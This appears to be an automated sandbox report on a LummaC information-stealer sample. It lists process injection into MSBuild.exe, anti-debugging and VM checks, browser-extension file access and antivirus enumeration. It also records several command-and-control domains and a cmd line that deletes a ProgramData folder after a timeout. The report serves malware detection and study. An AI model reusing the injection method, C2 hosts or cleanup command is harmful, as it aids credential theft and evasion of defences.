Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00415B0B GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	1_2_00415B0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040CD37 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	1_2_0040CD37
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BB980F FindFirstFileExW,	5_2_00BB980F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00415142 GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

1_2_00415142

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00410FBA GetSystemInfo,wsprintfA,

1_2_00410FBA

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: MSBuild.exe, 00000001.00000002.2755563230.0000000000FA4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWq
Source: MSBuild.exe, 00000001.00000002.2755563230.0000000000FA4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2755563230.0000000000F48000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2443823992.0000000000CE7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2443823992.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: MSBuild.exe, 00000001.00000002.2755563230.0000000000F48000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: MSBuild.exe, 00000001.00000002.2755563230.0000000000F48000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware-

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_1-92215
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_1-92231
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_1-93558

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00AD7672 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00AD7672

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

1_2_00418A63

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AEA39E mov eax, dword ptr fs:[00000030h]	0_2_00AEA39E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AE0C7E mov ecx, dword ptr fs:[00000030h]	0_2_00AE0C7E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AD1FE0 mov edi, dword ptr fs:[00000030h]	0_2_00AD1FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AFD38D mov eax, dword ptr fs:[00000030h]	0_2_00AFD38D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AFD382 mov eax, dword ptr fs:[00000030h]	0_2_00AFD382
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AFD36A mov eax, dword ptr fs:[00000030h]	0_2_00AFD36A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B1458A mov eax, dword ptr fs:[00000030h]	0_2_00B1458A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004014AD mov eax, dword ptr fs:[00000030h]	1_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040148A mov eax, dword ptr fs:[00000030h]	1_2_0040148A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004014A2 mov eax, dword ptr fs:[00000030h]	1_2_004014A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004186A9 mov eax, dword ptr fs:[00000030h]	1_2_004186A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004186AA mov eax, dword ptr fs:[00000030h]	1_2_004186AA
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BBA39E mov eax, dword ptr fs:[00000030h]	5_2_00BBA39E
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BB0C7E mov ecx, dword ptr fs:[00000030h]	5_2_00BB0C7E
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BA1FE0 mov edi, dword ptr fs:[00000030h]	5_2_00BA1FE0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00AEC99D GetProcessHeap,

0_2_00AEC99D

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AD7360 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00AD7360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AD7672 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00AD7672
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AD77FF SetUnhandledExceptionFilter,	0_2_00AD77FF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ADD7C3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00ADD7C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041D12A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_0041D12A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041DAAC _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_0041DAAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042774E SetUnhandledExceptionFilter,	1_2_0042774E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C44B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_6C44B66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C44B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_6C44B1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5FAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_6C5FAC62
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BA7360 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00BA7360
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BA7672 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00BA7672
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BA77FF SetUnhandledExceptionFilter,	5_2_00BA77FF
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BAD7C3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00BAD7C3

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 7288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7304, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write			Jump to behavior
Source: C:\ProgramData\KJEHJKJEBG.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write			Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_0040F54A _memset,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,VirtualAllocEx,ResumeThread,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,

1_2_0040F54A

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\ProgramData\KJEHJKJEBG.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A			Jump to behavior

LummaC encrypted strings found

Source: KJEHJKJEBG.exe	String found in binary or memory: mobbipenju.stor
Source: KJEHJKJEBG.exe	String found in binary or memory: eaglepawnoy.stor
Source: KJEHJKJEBG.exe	String found in binary or memory: spirittunek.stor
Source: KJEHJKJEBG.exe	String found in binary or memory: licendfilteo.site
Source: KJEHJKJEBG.exe	String found in binary or memory: clearancek.site
Source: KJEHJKJEBG.exe	String found in binary or memory: bathdoomgaz.stor
Source: KJEHJKJEBG.exe	String found in binary or memory: dissapoiznw.stor
Source: KJEHJKJEBG.exe	String found in binary or memory: studennotediw.stor

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004124A8 __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		1_2_004124A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041257F __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		1_2_0041257F

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 430000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 43D000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 670000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 671000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: BD1008	Jump to behavior
Source: C:\ProgramData\KJEHJKJEBG.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\ProgramData\KJEHJKJEBG.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\ProgramData\KJEHJKJEBG.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 44B000	Jump to behavior
Source: C:\ProgramData\KJEHJKJEBG.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 44E000	Jump to behavior
Source: C:\ProgramData\KJEHJKJEBG.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 45E000	Jump to behavior
Source: C:\ProgramData\KJEHJKJEBG.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 997008	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\ProgramData\KJEHJKJEBG.exe "C:\ProgramData\KJEHJKJEBG.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\IIEBAFCBKFID" & exit	Jump to behavior
Source: C:\ProgramData\KJEHJKJEBG.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00AFD01B cpuid

0_2_00AFD01B

Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_00AEC0C4
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_00AEC079
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00AEC1EA
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_00AEC15F
Source: C:\Users\user\Desktop\file.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,__calloc_crt,_free,	0_2_00B213E3
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_00AEC43D
Source: C:\Users\user\Desktop\file.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_00B23576
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00AEC566
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_00AEC66C
Source: C:\Users\user\Desktop\file.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00AEC73B
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_00AE5ACF
Source: C:\Users\user\Desktop\file.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,	0_2_00B25A50
Source: C:\Users\user\Desktop\file.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	0_2_00B26B40
Source: C:\Users\user\Desktop\file.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	0_2_00B24DC4
Source: C:\Users\user\Desktop\file.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_00AEBDD7
Source: C:\Users\user\Desktop\file.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,_free,_free,	0_2_00B25D6E
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_00AE5F79
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	1_2_00410DDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	1_2_0042B1EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	1_2_0042B2E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,_free,_free,	1_2_00429B70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	1_2_0042B3E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	1_2_0042B388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_memmove,_memmove,_memmove,InterlockedDecrement,_free,_free,_free,_free,_free,_free,_free,_free,_free,InterlockedDecrement,	1_2_0042AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,GetLocaleInfoW,GetLocaleInfoW,__calloc_crt,GetLocaleInfoW,_free,GetLocaleInfoW,	1_2_00425503
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	1_2_0042B5B4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,	1_2_004275BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: EnumSystemLocalesA,	1_2_0042B676
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	1_2_00428EE4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,InterlockedDecrement,InterlockedDecrement,_free,_free,	1_2_00429E8E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoA,_LocaleUpdate::_LocaleUpdate,___ascii_strnicmp,__tolower_l,__tolower_l,	1_2_0042E68F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	1_2_00427696
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	1_2_0042B6A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	1_2_0042B743
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	1_2_0042B707
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoA,	1_2_0042E7C4
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: EnumSystemLocalesW,	5_2_00BBC0C4
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: EnumSystemLocalesW,	5_2_00BBC079
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	5_2_00BBC1EA
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: EnumSystemLocalesW,	5_2_00BBC15F
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: GetLocaleInfoW,	5_2_00BBC43D
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	5_2_00BBC566
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: GetLocaleInfoW,	5_2_00BBC66C
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	5_2_00BBC73B
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: EnumSystemLocalesW,	5_2_00BB5ACF
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	5_2_00BBBDD7
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: GetLocaleInfoW,	5_2_00BB5F79

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00AD7565 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00AD7565

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00410C53 GetProcessHeap,HeapAlloc,GetUserNameA,

1_2_00410C53

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00410D2E GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

1_2_00410D2E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: MSBuild.exe, 00000001.00000002.2755563230.0000000000F48000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 6.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.KJEHJKJEBG.exe.ba0000.0.unpack, type: UNPACKEDPE
